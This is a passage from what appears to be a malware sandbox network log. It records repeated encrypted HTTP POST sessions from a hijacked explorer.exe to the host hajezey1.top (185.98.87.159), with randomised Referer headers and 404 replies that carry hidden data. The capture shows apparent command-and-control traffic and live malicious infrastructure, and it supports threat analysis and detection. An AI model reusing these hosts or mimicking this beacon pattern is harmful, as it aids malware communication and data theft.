Oct 29, 2021 20:10:44.995529890 CEST	8116	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 46 8a c3 69 Data Ascii: Mw:xGcDATwmwu$f]dFi1x+%xU`@>6K1ul:$&2'd}x=o[uXJ!\|JZ%~eOA/v33v3]J)#-'x+Kp#O!*g}aIB;W
Oct 29, 2021 20:10:45.077245951 CEST	8117	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 7f e2 46 aa 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 ff 95 87 cd 2b 80 78 51 a1 a2 8f 2c df d2 1c e0 32 02 50 08 08 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 41 8f 20 59 55 11 5c 7c 3b 66 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 bd 28 c6 8a 44 d8 06 0e 45 c7 1e 7d 6f fb e0 04 89 f9 d4 57 80 90 70 89 ec e4 4a 6b b6 f2 a2 22 48 52 df 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 23 36 55 96 da 19 d1 3a 2d b2 4e 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 71 87 4a 04 38 6d 72 14 2c d0 e8 b1 14 65 7c 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 a2 4c 64 cd 25 5c 8d b7 bf 2e 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 c5 d0 b8 be 34 56 9b 46 76 99 86 11 00 83 32 42 52 f7 c2 ae 64 0f 95 36 e1 48 52 67 25 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 bc a6 62 4a 08 5d f6 b3 06 2d 1a c0 5e f3 7c bb a7 fd d4 98 21 17 da 9a 2d 35 23 7d f5 b2 68 60 b8 10 31 fa ed ad 67 e1 e1 bd 84 f3 8c 40 b6 f0 90 4f a1 21 71 ae 61 2e 7a b1 76 af ce c6 83 41 66 30 ae a9 c8 d0 7e 33 3a 64 67 0b bf 77 6a 66 21 0e 8a ef 28 1d 41 81 d4 b6 78 8e 18 d3 e4 9e 0c 7b d6 6c 02 2f 27 76 d7 9b 4e 20 ba f5 be 08 85 fd 89 aa 41 b7 28 8f f4 d5 06 78 5c 9b b8 08 c0 e5 5c c5 17 00 f3 b8 d0 a3 39 a9 b2 13 20 1d 06 1a 1b e1 ea f0 6c 8d e9 c7 d2 83 6f d5 c5 3b ec cf 8b 40 75 02 99 e0 03 f4 c3 05 cb 99 d3 23 2a 71 c7 a5 d9 62 77 ca 08 8f bd c8 11 61 a1 99 9e 5f e3 0f 4e 8a d0 23 9d 43 8e 7e 14 0e b9 2c 58 99 f7 6d 08 d8 fd f7 cb ab 42 66 fb 05 6d 77 5e 8e b7 4a 84 99 fb 42 17 7d bd 91 94 13 85 f3 bd b3 3b 1c 67 c7 22 e7 19 8e 53 c0 b2 21 ab 63 95 22 89 ac 1f 13 34 5e 12 59 b3 52 34 eb e0 0f 25 b8 a3 c1 1d d7 cb ab 14 62 f3 3b 1f 70 da be 91 b3 bf de 2c eb 57 66 80 fe 9d 11 b0 5e fe 14 f9 20 e4 89 93 64 4b 70 94 ea 13 6b e6 e8 80 0b 3d f2 9d 65 09 de fb 18 e1 98 ea 30 e3 dc dd 6a db 82 96 dd 07 22 b9 ed 8c 54 a5 f1 36 81 ac cc b4 29 c7 79 f5 66 38 18 f8 e0 c0 24 b2 f0 9c 24 c8 92 7c f9 d4 e8 53 08 86 52 e4 3f a4 53 65 ad 06 70 00 16 b7 36 df 44 f1 22 74 2c e7 36 c5 da ac da 5f 81 50 ec 3e b9 72 39 0e ac 27 36 82 af 97 28 e0 f6 be e6 a7 e2 84 af 3a ce 39 e8 4e 95 91 3a 90 ff 53 64 22 62 a2 26 0c 11 bf 2a 5c a7 ef c6 a1 00 ae 8b 91 17 5d 35 bd ac c0 59 9d 9b f2 e5 fe de 54 1e 98 92 fb b2 6a 14 9d 84 32 c7 37 6f 03 70 51 8d c8 81 99 8b fa 81 7f 1d bc 6c c2 ca a5 a4 d0 9b 38 ea 81 2f 07 5b 6c 7e 96 23 97 84 79 ea 9a 4a 1d 68 8c 50 16 11 28 a0 81 bc 73 9d 7d bb fa c8 16 31 e5 a8 6f 20 c9 09 e4 ce cd 6b 90 46 97 fe da 39 9d f6 c1 6d 06 42 7b fb fa f3 a5 9a 46 e4 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|F+%gt+xQ,2P0YObyT=a'4A YU\\|;fIXKg[Ge92)g z6(DE}oWpJk"HRI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!Uvy#6U:-N%GkKm@NQ>[qJ8mr,e\|"JG0Z"?kQTJMQLd%\.&Q#F<pvA>C/CbGB4VFv2BRd6HRg%Pnj6'NGc_,/DO9W%bJ]-^\|!-5#}h`1g@O!qa.zvAf0~3:dgwjf!(Ax{l/'vN A(x\\9 lo;@u#qbwa_N#C~,XmBfmw^JB};g"S!c"4^YR4%b;p,Wf^ dKpk=e0j"T6)yf8$$\|SR?Sep6D"t,6_P>r9'6(:9N:Sd"b&\]5YTj27opQl8/[l~#yJhP(s}1o kF9mB{F
Oct 29, 2021 20:10:45.077296019 CEST	8118	IN	Data Raw: bb 1e 5d 97 62 c2 0e db 31 d3 4c 46 0e e3 8e c1 68 bf 6c bc f0 ba ad 3d 6f c2 8f 88 03 48 70 a1 9c 82 7c 8e 4e 3c 55 84 05 88 f2 61 95 6d 57 31 db 31 4f df a7 36 03 d4 3b 08 f0 6b df cc be af 9a 5d 03 41 40 77 b4 15 50 54 0c d7 8b 38 7e 9b 71 55 Data Ascii: ]b1LFhl=oHp\|N<UamW11O6;k]A@wPT8~qU*x`9@3Q627Y6h)$O6:CoH\KW_g^eaE3W0D>m<5BQ>tU@5@N)&%T7E9;zmW8 T]r]#=)
Oct 29, 2021 20:10:45.077325106 CEST	8120	IN	Data Raw: 74 42 b2 90 0a d6 13 88 ba 8c 88 b5 eb fc 61 cc 77 8f 5c dd 56 65 c9 32 ad 44 12 7a 94 9c ae a7 6e a0 73 85 53 5a 6b 3e 22 e2 fa d7 b0 d6 50 af f5 70 21 9d 63 d1 dc 27 de 83 4e ee a5 94 84 75 d9 67 ea fc 60 87 6a ca bd a8 c1 13 ad 5c 83 c2 87 98 Data Ascii: tBaw\Ve2DznsSZk>"Pp!c'Nug`j\uuKL>LxwqAW/1D6qN0{l8{hZ8n#"}G('IRj_MXVT41zNYr)7:CnqS/%
Oct 29, 2021 20:10:45.077346087 CEST	8121	IN	Data Raw: a7 da ef 36 86 ad 10 0d 69 47 4b 81 15 be f5 8d 35 c0 1e 40 8f 85 52 4b 44 80 38 cc 88 a2 9c 3b d5 3b 4b 98 c5 ec 4a ce ed b0 a3 8f be 0d e2 ea 67 0b 06 60 4c bd 56 69 b6 42 ce 95 20 e3 db ea 62 80 d4 4f 8b 6b c3 5e df fd 7f 46 9b 63 94 8a 7f 4c Data Ascii: 6iGK5@RKD8;;KJg`LViB bOk^FcLR"$!IeW:;:F<pOS1)%U%^g{-XK@[l[3V2SFjW/ha!v #N<Igd,bz7cdO( bnUM
Oct 29, 2021 20:10:45.077367067 CEST	8122	IN	Data Raw: de 66 53 73 b4 6e 1c 51 74 2f d0 47 9d 77 4d 13 da f7 53 ee 2f 7b a2 dd 0a 48 75 78 94 87 0a 3c 0e b5 b9 29 3e 31 e0 d5 16 a9 d1 a2 fa 40 42 94 2e 8b 03 68 5e bf 2e d9 b4 e5 66 21 a9 16 d9 3e 9d b2 dd 07 9e 7e 03 7b 67 52 5a 0e 20 0c 87 ec c4 92 Data Ascii: fSsnQt/GwMS/{Hux<)>1@B.h^.f!>~{gRZ d+Uu`QM{?Qj.xl/bF2b QQ$P,fpHUuq?5]2o>-*k&$mT ?+a? y7Gf4w#=_Q{(vxfB&;t
Oct 29, 2021 20:10:45.077389002 CEST	8124	IN	Data Raw: 80 27 82 37 91 e3 2d 60 4f b6 2c 52 e0 09 c2 35 74 c1 ce fa e4 ce 2f a1 b6 00 5e 5f f4 4e a8 ed 5e f9 4c 29 67 27 f0 f2 22 05 66 d8 13 cf fd 06 f7 98 33 49 2c 8e 60 e9 4d 2f 19 3c 00 c3 52 8a 2b d3 23 09 d1 f9 6d 3c 59 e4 86 6b 18 29 4f fd 09 7f Data Ascii: '7-`O,R5t/^_N^L)g'"f3I,`M/<R+#m<Yk)Oxfg.QO[ZU!StFQ,!4S'va>S9gU;ShHglL6r tJIs+X7i*&mf:th"GmWkn[#`oxTNIc>
Oct 29, 2021 20:10:45.077410936 CEST	8125	IN	Data Raw: d5 7b 94 d2 c8 49 39 98 16 a1 db fb 54 cf 2c a5 6d cd 83 82 07 a7 1e e1 f3 80 32 7a ff 85 06 7a 77 53 e5 bb cc dc 19 71 a5 4c c5 3b 8f cd 78 23 73 f5 11 db d9 79 8f 57 c4 37 55 df fa c5 4e 13 33 cf c4 0c ae 9b 4b e3 3a 5c 65 77 b4 38 47 d3 5d 14 Data Ascii: {I9T,m2zzwSqL;x#syW7UN3K:\ew8G]Sgs=Rk_-YHH<YI4:q-M<Z]LbWgUgC'3nuzB?$@H8Yq}]jm?2000v`;+o %g647jkg%jR/d~f-
Oct 29, 2021 20:10:45.077433109 CEST	8127	IN	Data Raw: a8 06 8e e8 7f 36 fc 98 7b a6 c6 34 16 c6 1a 81 b3 8c 1e 38 23 52 d0 70 1d 15 33 d6 21 37 b1 61 71 d1 d2 b9 f7 0a 2b c6 ac d8 e5 c3 92 ae a1 5a 93 7a 39 2f 14 d2 16 94 97 a7 db 57 be c0 1e 8e 85 63 32 13 5b ca 34 a1 67 45 4d ae d8 46 ea c3 68 bc Data Ascii: 6{48#Rp3!7aq+Zz9/Wc2[4gEMFhsW-\%pH?ZzzmxnX_0Kz=`!<RWN,F.U+lYigy$h:{Sr)0lD+qAWHz/`8`Z:40dD
Oct 29, 2021 20:10:45.077455044 CEST	8128	IN	Data Raw: 6e ce b3 a6 37 32 dd 00 c0 3f 66 02 83 f0 4c c0 32 32 e1 ce c4 7b 3b 20 90 75 1a d6 68 f9 b8 4a fe 24 c1 13 c2 d5 51 be 2d 70 57 e6 5d 52 e8 49 4a 29 08 16 9c 83 34 bd e6 1e 0b 15 7d 23 be 63 16 b7 49 22 c9 7e 11 10 c9 d6 03 09 5a dc 23 c0 ce 73 Data Ascii: n72?fL22{; uhJ$Q-pW]RIJ)4}#cI"~Z#ss)xHu&A 4g${E?;2)73ftL} 8TFG(o:?+krA3C%JXFjH/J`b9rOTF571B
Oct 29, 2021 20:10:45.077476978 CEST	8129	IN	Data Raw: 31 f2 1c fb 35 91 63 26 81 b9 01 6a ea 51 72 c4 33 2d 48 28 11 6d e0 c7 fc d0 3d af 2a 01 a8 35 41 a6 fd db f4 0b 7c 10 a6 3a 54 09 88 6f a2 60 2e e0 3b f1 81 1b d5 65 64 b7 5d 2a 10 f2 ed 5c e2 3d 23 7f cb 42 04 63 02 e7 cf 90 1b 4c ef 8e 8e 3f Data Ascii: 15c&jQr3-H(m=5A\|:To`.;ed]\=#BcL?uQdb0]dQ?$'] \Jrbg09@L(pMoD}eAlW:oZk"A}y$`B->>ZroW,.ET$YxIu]] LSq
Oct 29, 2021 20:10:45.130390882 CEST	8131	IN	Data Raw: 4a af 3a 79 08 22 99 bd a1 07 b4 23 dd 8a bd ef 70 8c 1a 3e d7 ea 05 00 0f 40 aa f7 38 aa 29 57 0d 33 61 b0 db ea 9d 46 1d 33 e7 80 ba 54 f7 a5 42 dc b1 4c ef 85 39 df 11 75 48 af 5c fc 82 8a e2 52 77 21 a5 6c e5 c9 6f 98 75 10 aa 85 e7 8f e4 8a Data Ascii: J:y"#p>@8)W3aF3TBL9uH\Rw!louY}'%vlo?2/,ozG7_gJbASp>Up7n9f1Ok ^k#"@t()jNw#Fn0/}a;#*CP(^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49812	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:48.275233984 CEST	9009	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wexymhl.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: hajezey1.top
Oct 29, 2021 20:10:48.275243044 CEST	9009	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 92 66 5d 02 c9 a1 c1 64 2c 85 c1 3a Data Ascii: Mw:xGcDATwmwu$f]d,:t=vi_rE#"z}j]{vX6S4!eB!`k3NH
Oct 29, 2021 20:10:48.358205080 CEST	9010	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49813	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:48.492503881 CEST	9011	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://glqydpsa.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 217 Host: hajezey1.top
Oct 29, 2021 20:10:48.492526054 CEST	9011	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 42 91 c1 7d Data Ascii: Mw:xGcDATwmwu$f]dB}Kk=nq#v=l7HlZ^byKBYWQ]j_vI{!ZSO%BFg878}E`{ySG{x$a7#{ fM9v
Oct 29, 2021 20:10:48.570226908 CEST	9011	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49814	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:48.655894041 CEST	9013	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kqbwtkcju.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 120 Host: hajezey1.top
Oct 29, 2021 20:10:48.655904055 CEST	9013	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 4f c3 c0 1b Data Ascii: Mw:xGcDATwmwu$f]dOQAlGs49fH#ek;rw
Oct 29, 2021 20:10:48.736651897 CEST	9050	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49816	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:48.818876982 CEST	9539	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mdonp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 127 Host: hajezey1.top
Oct 29, 2021 20:10:48.818886042 CEST	9539	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 2b 87 87 11 Data Ascii: Mw:xGcDATwmwu$f]d+8O-n)AEnfnjDq4o*g:p~k
Oct 29, 2021 20:10:48.902971029 CEST	9539	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49817	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:48.989521980 CEST	9919	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hfxrwj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 221 Host: hajezey1.top
